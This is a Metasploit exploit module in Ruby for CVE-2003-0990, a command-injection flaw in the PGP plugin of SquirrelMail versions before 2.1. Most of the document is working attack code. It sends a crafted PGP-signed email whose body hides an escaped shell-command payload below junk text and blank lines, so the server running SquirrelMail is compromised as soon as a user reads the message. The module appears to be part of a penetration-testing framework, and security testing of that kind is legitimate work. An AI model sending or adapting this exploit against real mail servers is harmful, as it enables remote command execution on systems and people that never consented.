SquirrelMail PGP Plugin command execution (SMTP)



##

# $Id: squirrelmail_pgp_plugin.rb 10148 2010-08-25 20:31:46Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ManualRanking

    #
    # This module sends email messages via smtp
    #
    include Msf::Exploit::Remote::SMTPDeliver

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'SquirrelMail PGP Plugin command execution (SMTP)',
            'Description'    => %q{
                    This module exploits a command execution vulnerability in the
                PGP plugin of SquirrelMail. This flaw was found while quickly
                grepping the code after release of some information at
                http://www.wslabi.com/. Later, iDefense published an advisory ....

                Reading an email in SquirrelMail with the PGP plugin activated
                is enough to compromise the underlying server.

                Only "cmd/unix/generic" payloads were tested.
            },
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10148 $',
            'Author'         => [ 'Nicob <nicob[at]nicob.net>' ],
            'References'     =>
                [
                    ['CVE', '2003-0990'],
                    ['OSVDB', '3178'],
                    ['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],
                    ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
                    ['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
                ],
            'Stance'         => Msf::Exploit::Stance::Passive,
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'BadChars'    => '',
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Targets'        =>
                [
                    [ 'SquirrelMail PGP plugin < 2.1', {} ],
                ],
            'DisclosureDate' => 'Jul 9 2007',
            'DefaultTarget' => 0))

    end

    def mime_defaults()
        self.header.set("MIME-Version", "1.0")
        self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
        self.header.set("Subject", '') # placeholder
        self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
        self.header.set("Message-ID",
            "<"+
            Rex::Text.rand_text_alphanumeric(rand(20)+40)+
            "@"+
            Rex::Text.rand_text_alpha(rand(20)+3)+
            ">"
            )
        self.header.set("From", '')    # placeholder
        self.header.set("To", '')      # placeholder
    end

    def exploit

        body =
            # Display some junk
            rand_text_alphanumeric(rand(128)+16) + "\n" +
            rand_text_alphanumeric(rand(128)+16) + "\n" +
            rand_text_alphanumeric(rand(128)+16) + "\n" +
            rand_text_alphanumeric(rand(128)+16) + "\n" +
            rand_text_alphanumeric(rand(128)+16) + "\n" +
            rand_text_alphanumeric(rand(128)+16) + "\n" +

            # Scroll down
            "\n" * (rand(100)+35) +

            # Escape filter and insert payload
            "AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"

        sig =
            "-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
            rand_text_alphanumeric(rand(20)+54) + "\n" +
            rand_text_alphanumeric(rand(20)+34) + "\n" +
            "-----END PGP SIGNATURE-----\n"

        msg = Rex::MIME::Message.new
        msg.extend(MessageExtend)
        msg.mime_defaults
        msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
        msg.to = datastore['MAILTO']
        msg.from = datastore['MAILFROM']

        msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
        msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")

        send_message(msg.to_s)

        print_status("Waiting for a payload session (backgrounding)...")
    end

end